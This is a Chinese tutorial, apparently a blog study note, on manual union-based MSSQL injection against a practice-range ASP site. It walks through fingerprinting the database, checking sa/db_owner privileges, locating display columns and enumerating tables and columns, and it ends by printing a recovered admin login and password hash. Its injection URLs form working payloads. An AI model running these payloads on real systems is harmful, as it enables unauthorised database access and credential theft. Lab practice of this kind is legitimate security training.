Mssql注入从入门到掌握

2020-11-25 10:43:41 浏览数 (1)

Mssql注入

这篇文章是我以前学习Mssql注入的笔记,目录如下:

Mssql手注之联合查询注入

Mssql手注之报错注入

Mssql手注之布尔型盲注

Mssql手注之延时型盲注

Mssql手注之Sa权限多种处理姿势

Mssql手注之db_owner权限处理

Mssql手注之各种拿Shell方式

Mssql手注之获取目标主机权限 . . .

Microsoft SQL Server 注入

Mssql手注之联合查询注入

Mssql数据库介绍

SQL Server 是Microsoft 公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点,可跨越从运行Microsoft Windows 98 的膝上型电脑到运行Microsoft Windows 2012 的大型多处理器的服务器等多种平台使用。

Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。

Mssql数据库测试环境搭建

完整安装SQL Server 2008 数据库

https://jingyan.baidu.com/article/948f592434b407d80ef5f97d.html

Mssql数据库权限介绍

代码语言:javascript复制
sa权限:数据库操作,文件管理,命令执行,注册表读取等:相当于system
db权限:文件管理、数据库操作等等:相当于users-administrators
public权限:数据库操作:相当于guest-users

Mssql数据库调用的代码

代码语言:javascript复制
<% 
set conn =server.createobject("adodb.connection") conn.open  "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>

注释:uid:账号, pwd:密码

Mssql数据库注入

判断是否是Mssql数据库:
代码语言:javascript复制
and exists(select * from sysobjects) --

输入SQL语句,如果返回正常那么就说明网站所使用的数据库是Mssql数据库,因为Mssql数据库默认有一个sysobjects的表明。

判断权限的SQL语句

代码语言:javascript复制
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 
and 1=(select is_srvrolemember('public'))   //判断是否为public权限

靶场练习地址

SQL手工注入漏洞测试(Sql Server数据库)

代码语言:javascript复制
https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

正式开始

注入点:http://219.153.49.228:42837/new_list.asp?id=2

判断是否是Mssql
代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=2 and exists(select * from sysobjects)

返回正常,说明网站使用的数据库是Mssql!

判断字段长度
代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=2 order by 5

order by 5返回错误我们往前推一位:

代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=2 order by 4

order by 4返回正常,说明字段长度是4!

寻找字符型显示位
代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,null,null,null
这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段!
在这个靶场使用 union select 是不行的,所以我们就用 union all
然后我使用的 null 是说明它无关是字符型还是数字型

接下来我们一个个去猜测它的显示位:

代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=-2 union all select '1',null,null,null

'1'他没有任何反应, 说明它不在第1列,那么我们继续查下一个 null:

代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2',null,null

这个时候他页面上就有一个数字"2",说明2这个位置我们可以去利用它!

我们继续看看第三位:

代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2','3',null

可以看到,我们的页面上又多出了一个‘3’,说明第三个显示位也可以去利用!

我们再来看看第四个(其实有两个显示位就足够了):

猜测第四个的时候页面没有什么反应,说明它只存在‘2’、‘3’两个显示位!

查询相关的信息

既然我们有了显示位,那么我们就可以利用显示位去查询我们想要得到的信息!

代码语言:javascript复制
@@version-:获取版本信息
db_name():数据库名字 
user,system_user,current_user,user_name:获取当前⽤户名 
@@SERVERNAME:获取有关服务器主机的信息

获取版本信息:

代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,@@version,'3',null

获取数据库名:

代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,db_name(),'3',null

获取当前用户名:

代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,system_user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,current_user,'3',null
查询表明
代码语言:javascript复制
http://219.153.49.228:42837/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

这边查询出来第一个表示 manage,然后我们再去查第二个(到了这里我的靶机重启了一下,所以端口变了):

代码语言:javascript复制
 http://219.153.49.228:43946/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
 
 注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名

查询出来第二个表名是 announcement,如果想继续查的话继续用 not in 这条判断查询就行了!

获取列名
代码语言:javascript复制
 http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
 
 注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名

这边查询出来第一个列名是 id,我们继续查第二个列名只需要把数字1修改为2就行了 col_name(object_id('manage'),2

代码语言:javascript复制
 http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

查询出来第二个列名是 username,我们继续查询第三个列名:

代码语言:javascript复制
 http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

第三个列名是 password,这个时候我们就得到了 username 和 password 列!

获取数据

这个时候我们就注入出来了他的账号:admin_mz,密码 72e1bfc3f01b7583!

0 人点赞